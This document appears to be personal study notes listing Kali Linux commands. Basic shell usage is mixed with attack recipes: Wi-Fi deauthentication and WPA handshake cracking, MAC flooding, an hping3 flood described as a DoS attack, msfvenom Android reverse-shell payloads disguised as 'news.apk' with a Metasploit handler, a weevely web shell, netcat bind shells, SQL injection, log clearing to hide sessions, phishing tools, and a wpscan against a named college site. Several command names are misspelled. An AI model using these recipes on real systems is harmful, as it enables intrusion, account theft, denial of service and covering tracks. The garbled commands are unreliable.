Linux commands

**1.man\_”command”=for command manual.**

**2.ls=for showing list in the current directory.**

**3.cd\_”directory name “=for showing current directory.**

**4.cd=for moving to home.**

**5.cd\_..=for moving back to directory.**

**6.pwd=showing location of current directory.**

**7.cp=for copying file or folder from one directory to other directory.**

**8.cp\_”first directory”\_second directory”=for copying content of one directory to another directory.**

**9.rm”file or folder name”=o remove file or folder.**

**10.sudu\_su=for root privedledges.**

**11.apt-install\_update=for updating the links.**

**12.apt-install\_upgrade=for updating whole software in the kali machine.**

**13.apt-get\_install\_gedit=install a particular software.**

**14.cat\_”file name”=to show the content of file.**

**15.ls \_-l=to check file permissions.**

**16.chmod\_+x\_”file name”=for giving permission.**

**17.chmod\_-x\_”file name”=for taking permission.**

**18.sudo\_adduser\_username=to add user.**

**19.sudo\_deluser\_username=to delete user.**

**20.git\_clone\_”link of installing file”=to install a particular file.**

**21../”file name”=to run file or upgrade.**

**22.\*ip change through proxy**

**23.A. macchanger\_-e\_eth0=to change macaddress.)**

**B. macchanger\_–m\_00:50:56:f5:89:6f\_eth0= to set new macaddresss**

**C. macof\_-i\_wifi adapter\_-s\_ip of router ip=example:**

**macof\_–i\_wlan0\_–s\_192.168.1.255=mac flooding.**

**D. Iwconfig =to see wifi adapters.**

**E. Ifconfig\_wlan0\_down=to down before changing the settings.**

**F. Iwconfig\_wlan0\_mode\_monitor=to change lan0 to monitor mode and to see monitoring nearby networks.**

**F. airdump-ng\_wlan0=to see bssid and essid of connected networks.**

**G.airdump-ng\_wlan0\_--bssid\_write bssid\_--channels\_s.no of channel.\_write\_file name to save data intercepted=to looking on a particular mac of the devices connected to the router and also used to captured handshakefile. \*\*to hack wifi password first see its run this command and then if he connected again then its handshake file will be captured.**

**(Example=airdump-ng\_wlan0\_--bssid\_7C:A9:6B:50:C5\_--channel\_11\_--write\_test.)**

**H. aireplay-ng\_--deauth\_no of packets\_-a\_with whom disconnect\_-c\_who to disconnect\_wlan0=to disconnect a connected device from wifi.(example=aireplay-ng\_--deauth\_100\_-a\_7C:A9:6B:50:C5\_-c\_00:F4:8D:0D:62:F0\_wlan0)**

**I. aircrack-ng\_capturd filename\_-w\_password list (aircrack-ng\_hacked-02.cap\_-w\_10-million-password—list-top-1000000.txt)**

**J.**

**24.ifconfig=to see wifi ethernet status.**

**25.ifconfig\_net source\_down=first down to change the macaddress of internet source.**

**26.ifconfig\_net source\_up=after changing the macaddress.**

**27.ifconfig\_netsouce\_hw\_ether\_macaddress=to set new macaddress.**

**28.ping\_domain name=to see buffer size and ip of the site.**

**29.ping\_domain name\_-f\_-l\_packet size=to send the desired sized packet.**

**30.ping\_-f\_-l\_packet size\_ipaddress=to send desired packet size o the ip address.**

**31.cp\_-r\_copying file name\_/destination/=for copying forcefully a directory or file.**

**32.** **xsltproc\_converting file name–o\_newfile name=to converting file from one format to html.**

**33.** **nmap\_–p\_111\_192.168.117.134 --script nfs\*=for testing open system permissions at port 111.**

**34.** **nc\_-nv\_192.168.117.134\_25= for connecting to open ports at port 25.**

**35.dnsenum\_domain name=to test zone transfer vulnerability.**

**36.searchsploit\_software name =for showing all past bugs .**

**37.dpkg\_-i\_file name =for installing deb file.**

**38.** **/bin/systemctl\_start\_nessusd.service= to start nassus tool.**

**;/usr/share/wordlists/rockyou.txt =rockyou password list.**

**39.** [**https://windows:8834/**](https://windows:8834/) **=to start scan through paste link in search engine.**

**40.change ro to rw for login in kali machine without admin.**

**41.cd\_/var/log=for showing all recorded session. Search messeges and messages.1 name file and clear it.**

**42.msfvenom=used for making payloads(help opens).**

**43.msfvenom\_–l\_payloads= for showing lists of payloads.**

**44.msfvenom\_-p\_(selected payload)\_(LHOST=ip of attacker)\_(LPORT=use port greater and 8000)\_>\_(chosed apk name)**

**Example:-msfvenom\_-p\_android/meterpreter/reverse\_tcp\_ LHOST=192.168.137.1\_LPORT=8880 >\_news.apk**

**45.msfvenom\_–l\_encoders=showing the list of encoders.**

**46.msfvenom\_-p\_android/meterpreter/reverse\_tcp \_LHOST=192.168.137.1\_LPORT=8880 > news.apk\_-e\_ php/base64**

**Here (php/base64) is selected encoder**

**47.weevely\_generate\_pswd\_saving directory name**

**Ex:- weevely generate 789 /home/kali/Downloads/news.php**

**48.netdiscover=to show all devices connected to a wifi network.**

**49.** **macof\_–i\_eth0\_–d\_192.168.43.85\_–n\_1**

**;ex:-macof\_-i\_eth0\_-d\_ip of router\_-n\_no.of times to change.=for mac flooding ro disconnect a particular ip.;**

**macof\_–i\_eth0\_–d\_192.168.43.85=for continuously changing the macaddress to fill the router table.**

**ifconfig\_eth0\_192.168.1.1=to change ip to a particular ip.(ifconfig\_eth0\_selected ip address.)**

**urlsnrf\_-i\_wlan0=for intercept responses man in the middle attack.**

**50.setoolkit= for opening social engineering toolkit.**

**51.** **hping3\_-S\_192.168.117.133\_-a\_192.168.117.134\_--flood\_–p\_port name ;ex:-** **hping3 -S 192.168.117.133 -a 192.168.117.134 --flood -p 22 =for sending continusly packets (dos attack) for more powerful attack launch same command from many terminals.**

**52.iwconfig=for showing all connected devices.**

**53.** **ifconfig\_lo\_mode\_monitor= for monitoring on a nearby network. (ifconfig\_netsource\_mode\_mointor).**

**54.airodump-ng\_net source name =for showing all nearby network.**

**55.airodump-ng\_--bssid\_victim macaddress\_--channel\_n\_--write\_filename for saving data\_netsource=to save all data of victim network.**

**56.airdump-ng\_-deauth\_no fo request to generate\_-a\_own hostpot mac address\_-c\_victim macaddress\_netsource=for capuring wpa hand shake or disconnect a user.**

**57.aircrack-ng\_catured file name =for cracking wps password.**

**58.aircrack-ng\_capured file name\_-w\_/usr/share/wordlists/rockyou.txt=for password trying using system file rockyou.txt (first unzip and then try the file for password testing).**

**59.msfconsole= for opening connection establishing platform in terminal.**

**60.** **use\_exploit/multi/handler= after opening metasploit comsole.**

**61.** **set\_payload\_android/meterpreter/reverse\_tcp= for selecting payload version.**

**62.set\_LHOST\_....= enter LHOST given during apk making.**

**63.set\_LPORT\_....=enter LPORT given during apk making**

**64.show\_options =to show realtime set ips and ports. And also for other uses.**

**65.** **set\_ExitOnSession\_false= to establish connection during connection failure with victim device.**

**66.session\_-i\_1=to selecting meterpreter session.**

**67.sql command running in dvwa:-‘\_OR\_1=1#--(for showing each and every username and password of data base.**

**68.** **sqlmap\_-u\_'http://192.168.117.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#'\_--dbs\_--risk=3\_--level=5= for setting risk =3 and level =5,by before pasting link in single quote and double quote for given 2 parameters.**

**69.sql\_-u\_link\_--dbs=for searching all in data base.**

**70.** **service\_apache2\_start=to start apcche server for port forwarding.**

**71.** **cd\_/var/www/=for showing apache html LHOST page.**

**72.** **./ngrok\_http\_80= for accessing apche page at port 80.** **./ngrok\_tcp\_80=for accessing apache server page using tcp protocol.**

**81.** **nc\_–nlvp\_7675 =for starting listening on port 7675(netcat),**

**nc\_–nlvp\_7675\_-e\_/bin/bash=for giving extecutable permission of terminal.**

**82.nc\_-nv\_(ip of victim machine)\_port=for starting running command in admin machine.**

**83.** **wpscan --url http://student.shivalikcollege.edu.in/ -e ap at cd dbe -o wpscan.txt= to starting wpscan with start saving details in wpscan.txt.**

**84.bash\_CamPhish=to open camphish.**

**85.uniscan-gui = to open gui version of uniscan.**

**86.touch\_file name = to create text file .**

**87.ls\_-l = for showing permissions of file and directory .**

**88.echo\_”content”\_>\_file name =to enter text in the file.**

**89. echo\_”content”\_>>\_file name =to enter text on next line in the file.**

**90.nano ,mousepad,= for opening edit window like notepad.**

**91.man\_ls =to show all about the commands in the linux .**

**92.cd\_../\_../=getting back to two directory use more to go more back to the directory.**

**93.rm\_\*=to remove every file of a directory.**

**94.rm\_\*.txt=to remove only text files.**

**95.whois\_domain name =to see the all details about domain.**

**96.whatweb\_domain name = to show the webserver and technologies used.**